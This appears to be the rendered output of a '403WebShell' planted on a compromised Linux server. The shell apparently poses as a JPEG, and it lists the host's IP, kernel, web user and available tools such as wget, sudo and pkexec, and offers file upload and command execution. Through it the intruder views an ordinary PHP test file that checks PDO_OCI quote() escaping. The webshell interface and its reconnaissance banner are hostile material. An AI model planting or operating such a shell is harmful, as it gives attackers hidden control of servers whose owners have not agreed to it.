????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/pdo_oci/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_oci/tests/pdo_oci_quote1.phpt
--TEST--
Test PDO->quote() for PDO_OCI
--SKIPIF--
<?php
if (!extension_loaded('pdo') || !extension_loaded('pdo_oci')) die('skip not loaded');
require(dirname(__FILE__).'/../../pdo/tests/pdo_test.inc');
PDOTest::skip();
?>
--FILE--
<?php

require dirname(__FILE__) . '/../../pdo/tests/pdo_test.inc';
$db = PDOTest::factory();

@$db->exec("drop table poq_tab");
$db->query("create table poq_tab (t varchar2(100))");
$stmt = $db->prepare('select * from poq_tab');

// The intent is that the fetched data be identical to the unquoted string.
// Remember!: use bind variables instead of PDO->quote()

$a = array(null, "", "a", "ab", "abc", "ab'cd", "a\b\n", "'", "''", "a'", "'z", "a''b", '"');
foreach ($a as $u) {
	$q = $db->quote($u);
	echo "Unquoted : ";
	var_dump($u);
	echo "Quoted   : ";
	var_dump($q);

	$db->exec("delete from poq_tab");

	$db->query("insert into poq_tab (t) values($q)");
	$stmt->execute();
	var_dump($stmt->fetchAll(PDO::FETCH_ASSOC));
}

echo "Done\n";

@$db->exec("drop table poq_tab");

?>
--EXPECTF--
Unquoted : NULL
Quoted   : string(2) "''"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    NULL
  }
}
Unquoted : string(0) ""
Quoted   : string(2) "''"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    NULL
  }
}
Unquoted : string(1) "a"
Quoted   : string(3) "'a'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(1) "a"
  }
}
Unquoted : string(2) "ab"
Quoted   : string(4) "'ab'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(2) "ab"
  }
}
Unquoted : string(3) "abc"
Quoted   : string(5) "'abc'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(3) "abc"
  }
}
Unquoted : string(5) "ab'cd"
Quoted   : string(8) "'ab''cd'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(5) "ab'cd"
  }
}
Unquoted : string(4) "a\b
"
Quoted   : string(6) "'a\b
'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(4) "a\b
"
  }
}
Unquoted : string(1) "'"
Quoted   : string(4) "''''"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(1) "'"
  }
}
Unquoted : string(2) "''"
Quoted   : string(6) "''''''"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(2) "''"
  }
}
Unquoted : string(2) "a'"
Quoted   : string(5) "'a'''"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(2) "a'"
  }
}
Unquoted : string(2) "'z"
Quoted   : string(5) "'''z'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(2) "'z"
  }
}
Unquoted : string(4) "a''b"
Quoted   : string(8) "'a''''b'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(4) "a''b"
  }
}
Unquoted : string(1) """
Quoted   : string(3) "'"'"
array(1) {
  [0]=>
  array(1) {
    ["t"]=>
    string(1) """
  }
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit